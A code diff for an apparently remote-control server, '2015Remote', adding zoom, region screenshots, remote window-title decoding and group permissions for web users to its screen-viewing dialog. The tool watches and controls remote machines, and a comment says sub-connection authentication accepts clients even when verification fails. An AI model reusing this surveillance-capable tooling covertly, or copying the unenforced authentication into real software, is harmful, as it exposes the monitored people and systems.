+        COLORREF clr   = m_bSelectingZoom ? RGB(255, 0, 0)  : RGB(0, 180, 0);
+
+        CRect rcSelect;
+        rcSelect.left   = min(ptStart.x, ptCur.x);
+        rcSelect.top    = min(ptStart.y, ptCur.y);
+        rcSelect.right  = max(ptStart.x, ptCur.x);
+        rcSelect.bottom = max(ptStart.y, ptCur.y);
+
+        HPEN hPen = CreatePen(PS_DASH, 1, clr);
+        HPEN hOldPen = (HPEN)SelectObject(m_hFullDC, hPen);
+        HBRUSH hOldBrush = (HBRUSH)SelectObject(m_hFullDC, GetStockObject(NULL_BRUSH));
+        Rectangle(m_hFullDC, rcSelect.left, rcSelect.top, rcSelect.right, rcSelect.bottom);
+        SelectObject(m_hFullDC, hOldBrush);
+        SelectObject(m_hFullDC, hOldPen);
+        DeleteObject(hPen);
+    }
+
    if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) {
        CPoint ptLocal;
        GetCursorPos(&ptLocal);
@@ -1789,6 +1860,10 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
    switch (nID) {
    case IDM_CONTROL: {
        m_bIsCtrl = !m_bIsCtrl;
+        // 进入控制模式时重置放大状态
+        if (m_bIsCtrl && m_bZoomedIn) {
+            ResetZoom();
+        }
        SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
        SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
        // 控制模式：禁用本地 IME；查看模式：启用本地 IME
@@ -2305,8 +2380,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
        MSG wheelMsg = *pMsg;
        wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
        SendScaledMouseMessage(&wheelMsg, true);
+        return TRUE;  // 已处理，阻止继续分发到 OnMouseWheel
    }
-    break;
    case WM_KEYDOWN:
    case WM_KEYUP:
    case WM_SYSKEYDOWN:
@@ -2541,6 +2616,11 @@ void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)

 void CScreenSpyDlg::EnterFullScreen()
 {
+    // 进入全屏时重置放大状态
+    if (m_bZoomedIn) {
+        ResetZoom();
+    }
+
    if (1) {
        // 1. 获取对话框当前所在的显示器
        HMONITOR hMonitor = MonitorFromWindow(m_hWnd, MONITOR_DEFAULTTONEAREST);
@@ -2628,6 +2708,11 @@ void CScreenSpyDlg::EnterFullScreen()
 // 全屏退出成功则返回true
 bool CScreenSpyDlg::LeaveFullScreen()
 {
+    // 退出全屏时重置放大状态
+    if (m_bZoomedIn) {
+        ResetZoom();
+    }
+
    if (1) {
        KillTimer(1);
        if (m_pToolbar) {
@@ -2668,26 +2753,375 @@ bool CScreenSpyDlg::LeaveFullScreen()
    return false;
 }

+// ========== 局部放大功能辅助函数 ==========
+
+// 重置放大状态
+void CScreenSpyDlg::ResetZoom()
+{
+    m_bZoomedIn = false;
+    m_bSelectingZoom = false;
+    m_bZoomDragging = false;
+    m_rcZoomSrc.SetRectEmpty();
+    Invalidate();
+}
+
+// 屏幕坐标转原图坐标（考虑放大状态）
+CPoint CScreenSpyDlg::ScreenToImage(CPoint pt)
+{
+    if (!m_BitmapInfor_Full) return pt;
+
+    int dstW = m_CRect.Width();
+    int dstH = m_CRect.Height();
+    if (dstW <= 0 || dstH <= 0) return pt;  // 防止除零
+
+    if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
+        // 放大状态：从显示区域映射到放大区域
+        double scaleX = (double)m_rcZoomSrc.Width() / dstW;
+        double scaleY = (double)m_rcZoomSrc.Height() / dstH;
+        return CPoint(
+            (int)(m_rcZoomSrc.left + pt.x * scaleX),
+            (int)(m_rcZoomSrc.top + pt.y * scaleY)
+        );
+    } else if (m_bAdaptiveSize) {
+        // 自适应模式：按比例缩放
+        return CPoint((int)(pt.x * m_wZoom), (int)(pt.y * m_hZoom));
+    } else {
+        // 滚动模式：加上滚动偏移
+        return CPoint(pt.x + m_ulHScrollPos, pt.y + m_ulVScrollPos);
+    }
+}
+
+// 原图坐标转屏幕坐标（考虑放大状态）
+CPoint CScreenSpyDlg::ImageToScreen(CPoint pt)
+{
+    if (!m_BitmapInfor_Full) return pt;
+
+    int zoomW = m_rcZoomSrc.Width();
+    int zoomH = m_rcZoomSrc.Height();
+
+    if (m_bZoomedIn && zoomW > 0 && zoomH > 0) {
+        // 放大状态：从放大区域映射到显示区域
+        int dstW = m_CRect.Width();
+        int dstH = m_CRect.Height();
+        double scaleX = (double)dstW / zoomW;
+        double scaleY = (double)dstH / zoomH;
+        return CPoint(
+            (int)((pt.x - m_rcZoomSrc.left) * scaleX),
+            (int)((pt.y - m_rcZoomSrc.top) * scaleY)
+        );
+    } else if (m_bAdaptiveSize) {
+        if (m_wZoom > 0 && m_hZoom > 0) {
+            return CPoint((int)(pt.x / m_wZoom), (int)(pt.y / m_hZoom));
+        }
+        return pt;
+    } else {
+        return CPoint(pt.x - m_ulHScrollPos, pt.y - m_ulVScrollPos);
+    }
+}
+
 void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
 {
+    // 非控制模式下的放大功能
+    if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
+        if (m_bZoomedIn) {
+            // 放大状态：开始拖拽平移
+            m_bZoomDragging = true;
+            m_ptZoomDragStart = point;  // 保存起点用于点击检测
+            m_ptZoomDragLast = point;   // 用于增量拖拽计算
+            SetCapture();
+            return;
+        } else {
+            // 正常状态：开始框选放大区域
+            m_bSelectingZoom = true;
+            m_ptZoomStart = point;
+            m_ptZoomCurrent = point;
+            SetCapture();
+            return;
+        }
+    }
    __super::OnLButtonDown(nFlags, point);
 }


 void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
 {
+    // 处理放大功能的鼠标释放
+    if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
+        if (m_bSelectingZoom) {
+            // 完成框选
+            ReleaseCapture();
+            m_bSelectingZoom = false;
+
+            // 计算选择区域（确保left<right, top<bottom）
+            CRect rcSelect;
+            rcSelect.left = min(m_ptZoomStart.x, point.x);
+            rcSelect.top = min(m_ptZoomStart.y, point.y);
+            rcSelect.right = max(m_ptZoomStart.x, point.x);
+            rcSelect.bottom = max(m_ptZoomStart.y, point.y);
+
+            // 框选区域太小时视为点击，如果已放大则还原
+            if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
+                if (m_bZoomedIn) {
+                    ResetZoom();
+                }
+                return;
+            }
+
+            // 将屏幕坐标转换为原图坐标
+            if (!ScreenRectToImageRect(rcSelect, m_rcZoomSrc)) {
+                return;
+            }
+
+            // 进入放大状态
+            m_bZoomedIn = true;
+            Invalidate();
+            return;
+        }
+
+        if (m_bZoomDragging) {
+            // 完成拖拽
+            ReleaseCapture();
+            m_bZoomDragging = false;
+
+            // 检查是否为点击（几乎没有移动）
+            int dx = abs(point.x - m_ptZoomDragStart.x);
+            int dy = abs(point.y - m_ptZoomDragStart.y);
+            if (dx < 5 && dy < 5) {
+                // 点击还原
+                ResetZoom();
+            }
+            return;
+        }
+    }
    __super::OnLButtonUp(nFlags, point);
 }


+void CScreenSpyDlg::OnRButtonDown(UINT nFlags, CPoint point)
+{
+    // 非控制模式下：右键框选 → 截图保存。控制模式下右键由 PreTranslateMessage 转发给客户端。
+    if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
+        // 与左键互斥：左键正在框选/拖拽时不接管右键，避免冲突
+        if (m_bSelectingZoom || m_bZoomDragging) {
+            return;
+        }
+        m_bSelectingShot = true;
+        m_ptShotStart = point;
+        m_ptShotCurrent = point;
+        SetCapture();
+        return;
+    }
+    __super::OnRButtonDown(nFlags, point);
+}
+
+
+void CScreenSpyDlg::OnRButtonUp(UINT nFlags, CPoint point)
+{
+    if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full && m_bSelectingShot) {
+        ReleaseCapture();
+        m_bSelectingShot = false;
+
+        CRect rcSelect;
+        rcSelect.left   = min(m_ptShotStart.x, point.x);
+        rcSelect.top    = min(m_ptShotStart.y, point.y);
+        rcSelect.right  = max(m_ptShotStart.x, point.x);
+        rcSelect.bottom = max(m_ptShotStart.y, point.y);
+
+        // 太小视为误触（与左键放大同阈值）
+        if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
+            Invalidate(FALSE);
+            return;
+        }
+
+        CRect rcImage;
+        if (ScreenRectToImageRect(rcSelect, rcImage) &&
+            rcImage.Width() > 0 && rcImage.Height() > 0)
+        {
+            SaveRegionScreenshot(rcImage);
+        }
+        Invalidate(FALSE);   // 清掉绿色选框
+        return;
+    }
+    __super::OnRButtonUp(nFlags, point);
+}
+
+
+// 屏幕（窗口）选框 → 原图坐标，考虑放大状态、自适应、滚动
+bool CScreenSpyDlg::ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage)
+{
+    if (!m_BitmapInfor_Full) return false;
+    int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
+    int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
+    if (srcW <= 0 || srcH <= 0) return false;
+
+    if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
+        // 放大状态：屏幕坐标 → 当前可视的子区域内的原图坐标
+        int dstW = m_CRect.Width();
+        int dstH = m_CRect.Height();
+        if (dstW <= 0 || dstH <= 0) return false;
+        double scaleX = (double)m_rcZoomSrc.Width()  / dstW;
+        double scaleY = (double)m_rcZoomSrc.Height() / dstH;
+        rcImage.left   = (int)(m_rcZoomSrc.left + rcScreen.left   * scaleX);
+        rcImage.top    = (int)(m_rcZoomSrc.top  + rcScreen.top    * scaleY);
+        rcImage.right  = (int)(m_rcZoomSrc.left + rcScreen.right  * scaleX);
+        rcImage.bottom = (int)(m_rcZoomSrc.top  + rcScreen.bottom * scaleY);
+    } else if (m_bAdaptiveSize) {
+        rcImage.left   = (int)(rcScreen.left   * m_wZoom);
+        rcImage.top    = (int)(rcScreen.top    * m_hZoom);
+        rcImage.right  = (int)(rcScreen.right  * m_wZoom);
+        rcImage.bottom = (int)(rcScreen.bottom * m_hZoom);
+    } else {
+        rcImage.left   = rcScreen.left   + m_ulHScrollPos;
+        rcImage.top    = rcScreen.top    + m_ulVScrollPos;
+        rcImage.right  = rcScreen.right  + m_ulHScrollPos;
+        rcImage.bottom = rcScreen.bottom + m_ulVScrollPos;
+    }
+
+    // 限制在原图范围内
+    rcImage.left   = max(0L, min(rcImage.left,   (LONG)srcW));
+    rcImage.top    = max(0L, min(rcImage.top,    (LONG)srcH));
+    rcImage.right  = max(0L, min(rcImage.right,  (LONG)srcW));
+    rcImage.bottom = max(0L, min(rcImage.bottom, (LONG)srcH));
+    return true;
+}
+
+
+// 把原图中 [rcImage] 区域裁出来，写成独立 BMP（24bpp 或 32bpp 由源图决定）
+void CScreenSpyDlg::SaveRegionScreenshot(const CRect& rcImage)
+{
+    if (!m_BitmapInfor_Full || !m_BitmapData_Full) return;
+    if (rcImage.Width() <= 0 || rcImage.Height() <= 0) return;
+
+    auto path = GetScreenShotPath(this, m_IPAddress, _TR("位图文件(*.bmp)|*.bmp|"), "bmp");
+    if (path.empty()) return;
+
+    // 源 DIB 是 BGR 24bpp 或 BGRA 32bpp，bottom-up（biHeight > 0）
+    const BITMAPINFOHEADER& srcHdr = m_BitmapInfor_Full->bmiHeader;
+    int bpp = srcHdr.biBitCount;
+    if (bpp != 24 && bpp != 32) return;   // 仅支持当前实际使用的两种位深
+    int srcW = srcHdr.biWidth;
+    int srcH = srcHdr.biHeight;
+    int srcStride = ((srcW * bpp + 31) / 32) * 4;
+
+    int dstW = rcImage.Width();
+    int dstH = rcImage.Height();
+    int dstStride = ((dstW * bpp + 31) / 32) * 4;
+    int dstSize   = dstStride * dstH;
+
+    std::vector<BYTE> dstPixels(dstSize, 0);
+    const BYTE* srcBase = (const BYTE*)m_BitmapData_Full;
+
+    // bottom-up：原图第 y 行（从顶起算）位于 srcBase + (srcH - 1 - y) * srcStride
+    int byteX = rcImage.left * (bpp / 8);
+    int copyBytes = dstW * (bpp / 8);
+    for (int y = 0; y < dstH; ++y) {
+        int srcRowFromTop = rcImage.top + y;
+        int srcRowOffset  = (srcH - 1 - srcRowFromTop) * srcStride + byteX;
+        int dstRowOffset  = (dstH - 1 - y) * dstStride;
+        memcpy(&dstPixels[dstRowOffset], &srcBase[srcRowOffset], copyBytes);
+    }
+
+    // 拼装 BITMAPINFO（裁剪后只需要 BITMAPINFOHEADER；24/32bpp 不需要调色板）
+    BITMAPINFO dstBmi = {};
+    dstBmi.bmiHeader = srcHdr;
+    dstBmi.bmiHeader.biWidth     = dstW;
+    dstBmi.bmiHeader.biHeight    = dstH;
+    dstBmi.bmiHeader.biSizeImage = dstSize;
+    dstBmi.bmiHeader.biCompression = BI_RGB;
+
+    if (WriteBitmap(&dstBmi, dstPixels.data(), path)) {
+        m_strSaveNotice = path;
+        m_nSaveNoticeTime = GetTickCount64();
+    }
+}
+
+
 BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
 {
-    return __super::OnMouseWheel(nFlags, zDelta, pt);
+    // Convert screen coordinates to client coordinates
+    ScreenToClient(&pt);
+
+    // Build MSG structure for SendScaledMouseMessage
+    MSG msg = {};
+    msg.hwnd = m_hWnd;
+    msg.message = WM_MOUSEWHEEL;
+    msg.wParam = MAKEWPARAM(nFlags, zDelta);
+    msg.lParam = MAKELPARAM(pt.x, pt.y);
+    msg.time = GetTickCount();
+    msg.pt = { pt.x, pt.y };
+
+    SendScaledMouseMessage(&msg, true);
+    return TRUE;  // Message handled, don't pass to parent
 }


 void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
 {
+    // 处理放大功能的鼠标移动
+    if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
+        if (m_bSelectingZoom) {
+            // 框选中：更新当前点并重绘选择框
+            m_ptZoomCurrent = point;
+            Invalidate(FALSE);  // FALSE表示不擦除背景，减少闪烁
+            return;
+        }
+        if (m_bSelectingShot) {
+            m_ptShotCurrent = point;
+            Invalidate(FALSE);
+            return;
+        }
+
+        if (m_bZoomDragging) {
+            // 拖拽平移：计算偏移量并移动放大区域
+            int dx = point.x - m_ptZoomDragLast.x;
+            int dy = point.y - m_ptZoomDragLast.y;
+            m_ptZoomDragLast = point;  // 更新上一点（保持m_ptZoomDragStart不变用于点击检测）
+
+            // 计算缩放比例（添加除零保护）
+            int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
+            int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
+            int dstW = m_CRect.Width();
+            int dstH = m_CRect.Height();
+            int zoomW = m_rcZoomSrc.Width();
+            int zoomH = m_rcZoomSrc.Height();
+
+            if (dstW <= 0 || dstH <= 0 || zoomW <= 0 || zoomH <= 0) {
+                return;  // 防止除零
+            }
+
+            double scaleX = (double)zoomW / dstW;
+            double scaleY = (double)zoomH / dstH;
+
+            // 将屏幕偏移转换为原图偏移（方向相反）
+            int imgDx = (int)(-dx * scaleX);
+            int imgDy = (int)(-dy * scaleY);
+
+            // 移动放大区域
+            m_rcZoomSrc.OffsetRect(imgDx, imgDy);
+
+            // 限制在原图范围内
+            if (m_rcZoomSrc.left < 0) {
+                m_rcZoomSrc.right -= m_rcZoomSrc.left;
+                m_rcZoomSrc.left = 0;
+            }
+            if (m_rcZoomSrc.top < 0) {
+                m_rcZoomSrc.bottom -= m_rcZoomSrc.top;
+                m_rcZoomSrc.top = 0;
+            }
+            if (m_rcZoomSrc.right > srcW) {
+                m_rcZoomSrc.left -= (m_rcZoomSrc.right - srcW);
+                m_rcZoomSrc.right = srcW;
+            }
+            if (m_rcZoomSrc.bottom > srcH) {
+                m_rcZoomSrc.top -= (m_rcZoomSrc.bottom - srcH);
+                m_rcZoomSrc.bottom = srcH;
+            }
+
+            Invalidate(FALSE);
+            return;
+        }
+    }
+
    if (m_Settings.RemoteCursor) {
        if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) {
            CRect rcToolbar;
@@ -2770,11 +3204,32 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
 void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
 {
    m_bIsCtrl = ctrl;
+    // 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选
+    if (m_bIsCtrl) {
+        if (m_bZoomedIn) ResetZoom();
+        if (m_bSelectingShot) {
+            m_bSelectingShot = false;
+            if (GetCapture() == this) ReleaseCapture();
+            Invalidate(FALSE);
+        }
+    }
    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
    // 控制模式：禁用本地 IME；查看模式：启用本地 IME
    ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
 }

+void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd)
+{
+    // 捕获丢失时重置框选/拖拽状态
+    if (m_bSelectingZoom || m_bZoomDragging || m_bSelectingShot) {
+        m_bSelectingZoom = false;
+        m_bZoomDragging = false;
+        m_bSelectingShot = false;
+        Invalidate();
+    }
+    __super::OnCaptureChanged(pWnd);
+}
+
 void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)
 {
    if (m_bIsCtrl && m_bConnected) {
--- a/server/2015Remote/ScreenSpyDlg.h
+++ b/server/2015Remote/ScreenSpyDlg.h
@@ -1,6 +1,7 @@
 #pragma once
 #include <imm.h>
 #include <map>
+#include <atomic>
 #include "IOCPServer.h"
 #include "..\..\client\CursorInfo.h"
 #include "VideoDlg.h"
@@ -153,6 +154,10 @@ public:
        return TRUE;
    }

+    // Check if this dialog was created by Web request (shared by Web users)
+    bool IsWebSession() const { return m_bIsWebSession.load(); }
+    void SetWebSession(bool isWeb) { m_bIsWebSession.store(isWeb); }
+
    VOID SendNext(void);
    VOID OnReceiveComplete();
    HDC  m_hFullDC;
@@ -186,13 +191,15 @@ public:
    int m_FrameID;
    HIMC m_hOldIMC = NULL;  // 保存原始 IME 上下文，控制模式切换时使用
    bool m_bHide = false;
+    std::atomic<bool> m_bIsWebSession{false};    // True if this dialog was created by Web request (atomic for thread safety)
    std::string m_strSaveNotice;     // 截图保存路径提示
    ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
    BOOL m_bUsingFRP = FALSE;

    // 文件接收进度对话框（用于 Linux Ctrl+C -> 服务端 Ctrl+V）
    // 按 transferID 管理多个并发传输
-    std::map<uint64_t, class CDlgFileSend*> m_FileRecvDlgs;
+    // 存储 {HWND, 指针} 对，HWND 用于安全检查（指针可能变成野指针）
+    std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;

    void SaveSnapshot(void);
    // 对话框数据
@@ -216,6 +223,27 @@ public:
    double				m_wZoom=1, m_hZoom=1;
    bool				m_bMouseTracking = false;

+    // ========== 局部放大功能 ==========
+    bool                m_bZoomedIn = false;        // 是否处于放大状态
+    CRect               m_rcZoomSrc;                // 放大区域（原图坐标）
+    bool                m_bSelectingZoom = false;   // 是否正在框选
+    CPoint              m_ptZoomStart;              // 框选起点（屏幕坐标）
+    CPoint              m_ptZoomCurrent;            // 框选当前点（屏幕坐标）
+    bool                m_bZoomDragging = false;    // 是否正在拖拽平移
+    CPoint              m_ptZoomDragStart;          // 拖拽起点（用于点击检测）
+    CPoint              m_ptZoomDragLast;           // 拖拽上一点（用于增量计算）
+
+    // ========== 区域截图（右键框选） ==========
+    bool                m_bSelectingShot = false;   // 是否正在右键框选截图
+    CPoint              m_ptShotStart;              // 右键框选起点（屏幕坐标）
+    CPoint              m_ptShotCurrent;            // 右键框选当前点（屏幕坐标）
+
+    void ResetZoom();                               // 重置放大状态
+    CPoint ScreenToImage(CPoint pt);                // 屏幕坐标转原图坐标
+    CPoint ImageToScreen(CPoint pt);                // 原图坐标转屏幕坐标
+    bool ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage); // 选框坐标→原图坐标
+    void SaveRegionScreenshot(const CRect& rcImage); // 保存裁剪区域为 BMP
+
    CString             m_aviFile;
    CBmpToAvi	        m_aviStream;

@@ -291,10 +319,13 @@ public:
    afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
    afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
    afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
+    afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
+    afx_msg void OnRButtonUp(UINT nFlags, CPoint point);
    afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
    afx_msg void OnMouseMove(UINT nFlags, CPoint point);
    afx_msg void OnMouseLeave();
    afx_msg void OnKillFocus(CWnd* pNewWnd);
+    afx_msg void OnCaptureChanged(CWnd* pWnd);
    afx_msg void OnSize(UINT nType, int cx, int cy);
    afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
    afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
@@ -325,6 +356,7 @@ public:
    virtual BOOL OnInitDialog();
    afx_msg void OnClose();
    afx_msg void OnPaint();
+    afx_msg BOOL OnEraseBkgnd(CDC* pDC);
    BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
    afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
    virtual BOOL PreTranslateMessage(MSG* pMsg);
--- a/server/2015Remote/Server.h
+++ b/server/2015Remote/Server.h
@@ -378,6 +378,11 @@ public:
    std::atomic<int>    IoRefCount{0};              // I/O 处理引用计数
    std::atomic<bool>   IsRemoved{false};           // 标记是否已被标记为移除

+    // 子连接身份校验：客户端发 TOKEN_CONN_AUTH 通过验证后置位。
+    // 主连接（走 TOKEN_LOGIN 流程）不参与此机制。当前阶段宽容（未通过也接受），
+    // 仅作为标记供后续命令处理 / 未来收紧策略使用。
+    std::atomic<bool>   m_bAuthenticated{false};
+
    // 预分配的解压缩缓冲区，避免频繁内存分配
    PBYTE               DecompressBuffer = nullptr;
    ULONG               DecompressBufferSize = 0;
@@ -510,7 +515,11 @@ public:
        // 注意：到达这里时，RemoveStaleContext 应该已经等待 IoRefCount==0
        IsRemoved.store(false, std::memory_order_release);
        IoRefCount.store(0, std::memory_order_release);
+        // 复用对象池时清空校验状态
+        m_bAuthenticated.store(false, std::memory_order_release);
    }
+    void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
+    bool IsAuthenticated() const  { return m_bAuthenticated.load(std::memory_order_acquire); }
    uint64_t GetAliveTime()const
    {
        return time(0) - OnlineTime;
--- a/server/2015Remote/SystemDlg.cpp
+++ b/server/2015Remote/SystemDlg.cpp
@@ -3,6 +3,7 @@

 #include "stdafx.h"
 #include "2015Remote.h"
+#include "2015RemoteDlg.h"   // GetClientEncoding helper
 #include "SystemDlg.h"
 #include "afxdialogex.h"

@@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog()
        m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
        m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
        m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
+        // 工程是 MBCS，但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容，
+        // 直接用 LVM_SETITEMTEXTW 写宽字符串（无须依赖控件 Unicode 标志）。
        ShowWindowsList();
    }

@@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void)
    char	*szTitle = NULL;
    bool isDel=false;

+    // 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
+    // 注意：m_ContextObject 是 WSLIST 子连接，其自身 CAPABILITIES 为空；
+    // helper 内部通过 peer IP 查主连接获取真正的能力位。
+    UINT cp = GetClientEncoding(m_ContextObject);
+
    DeleteAllItems();
    CString	str;
    int i ;
@@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void)
        str.FormatL("%5u", *lpPID);
        CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
        m_ControlList.InsertItem(i, str);                   // 句柄
-        m_ControlList.SetItemText(i, 1, attrs.szTitle);     // 标题
-        m_ControlList.SetItemText(i, 2, attrs.szStatus);    // 窗口状态
-        m_ControlList.SetItemText(i, 3, pidStr);            // 所属进程ID
-        // ItemData 为窗口句柄
+
+        // 按客户端声明的编码解码到宽字符，用 LVM_SETITEMTEXTW 直接写入，
+        // 绕开 ANSI -> CP_ACP 回转，即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
+        std::wstring wTitle;
+        if (attrs.szTitle[0]) {
+            int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
+            if (wlen > 0) {
+                wTitle.resize(wlen - 1);
+                MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
+            }
+        }
+        LVITEMW lvItemW = {};
+        lvItemW.mask = LVIF_TEXT;
+        lvItemW.iItem = i;
+        lvItemW.iSubItem = 1;
+        lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
+        ::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
+                       (WPARAM)i, (LPARAM)&lvItemW);
+
+        m_ControlList.SetItemText(i, 2, attrs.szStatus);    // 窗口状态 (ASCII)
+        m_ControlList.SetItemText(i, 3, pidStr);            // 所属进程ID (ASCII)
+        // ItemData 为窗口句柄；Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
        auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
        m_ControlList.SetItemData(i, (DWORD_PTR)data);  //(d)
        dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
--- a/server/2015Remote/WebPage.h
+++ b/server/2015Remote/WebPage.h
@@ -997,10 +997,14 @@ inline std::string GetWebPageHTML() {
                <h4>Create New User</h4>
                <input type="text" id="new-username" placeholder="Username" autocomplete="off">
                <input type="password" id="new-password" placeholder="Password" autocomplete="new-password">
-                <select id="new-role">
+                <select id="new-role" onchange="onRoleChange()">
                    <option value="viewer">Viewer (read-only)</option>
                    <option value="admin">Admin (full access)</option>
                </select>
+                <div class="groups-section" id="groups-section">
+                    <label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">Allowed Groups:</label>
+                    <div id="groups-checkboxes" style="max-height:120px;overflow-y:auto;background:rgba(0,0,0,0.2);border-radius:6px;padding:6px 8px;"></div>
+                </div>
                <button onclick="createUser()">Create User</button>
            </div>
            <div class="user-list">
@@ -1286,6 +1290,11 @@ inline std::string GetWebPageHTML() {
                        renderUsersList(msg.users);
                    }
                    break;
+                case 'groups':
+                    if (msg.ok) {
+                        renderGroupsCheckboxes(msg.groups);
+                    }
+                    break;
            }
        }
 )HTML";
@@ -1661,7 +1670,35 @@ inline std::string GetWebPageHTML() {
        function openUsersModal() {
            document.getElementById('users-modal').classList.add('active');
            document.getElementById('user-msg').innerHTML = '';
+            document.getElementById('new-role').value = 'viewer';  // Reset to default
+            onRoleChange();  // Update groups section visibility
            listUsers();
+            getGroups();
+        }
+
+        function getGroups() {
+            if (ws && ws.readyState === WebSocket.OPEN && token) {
+                ws.send(JSON.stringify({ cmd: 'get_groups', token }));
+            }
+        }
+
+        function renderGroupsCheckboxes(groups) {
+            const container = document.getElementById('groups-checkboxes');
+            if (!groups || groups.length === 0) {
+                container.innerHTML = '<span style="color:#666;font-size:12px;">No groups available</span>';
+                return;
+            }
+            container.innerHTML = groups.map(g =>
+                '<label style="display:flex;align-items:center;padding:3px 0;cursor:pointer;white-space:nowrap;">' +
+                '<input type="checkbox" value="' + escapeHtml(g) + '" style="margin:0 6px 0 0;flex-shrink:0;width:14px;height:14px;">' +
+                escapeHtml(g) + '</label>'
+            ).join('');
+        }
+
+        function onRoleChange() {
+            const role = document.getElementById('new-role').value;
+            const groupsSection = document.getElementById('groups-section');
+            groupsSection.style.display = (role === 'admin') ? 'none' : 'block';
        }

        function closeUsersModal() {
@@ -1685,8 +1722,12 @@ inline std::string GetWebPageHTML() {
                return;
            }

+            // Collect selected groups
+            const checkboxes = document.querySelectorAll('#groups-checkboxes input[type="checkbox"]:checked');
+            const allowed_groups = Array.from(checkboxes).map(cb => cb.value);
+
            if (ws && ws.readyState === WebSocket.OPEN && token) {
-                ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role }));
+                ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role, allowed_groups }));
            }
        }

@@ -1712,10 +1753,14 @@ inline std::string GetWebPageHTML() {
            container.innerHTML = users.map(u => {
                const isAdmin = u.role === 'admin';
                const canDelete = u.username !== 'admin';  // Cannot delete built-in admin
+                const groups = u.allowed_groups || [];
+                const groupsText = u.username === 'admin' ? '(all)' :
+                    (groups.length > 0 ? groups.join(', ') : '(none)');
                return '<div class="user-item">' +
                    '<div class="user-info">' +
                        '<div class="username">' + escapeHtml(u.username) + '</div>' +
                        '<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' +
+                        '<div class="groups" style="font-size:11px;color:#888;margin-top:2px;">Groups: ' + escapeHtml(groupsText) + '</div>' +
                    '</div>' +
                    (canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') +
                '</div>';
@@ -1801,13 +1846,15 @@ inline std::string GetWebPageHTML() {

        // Remote cursor mapping (Windows cursor index -> CSS cursor)
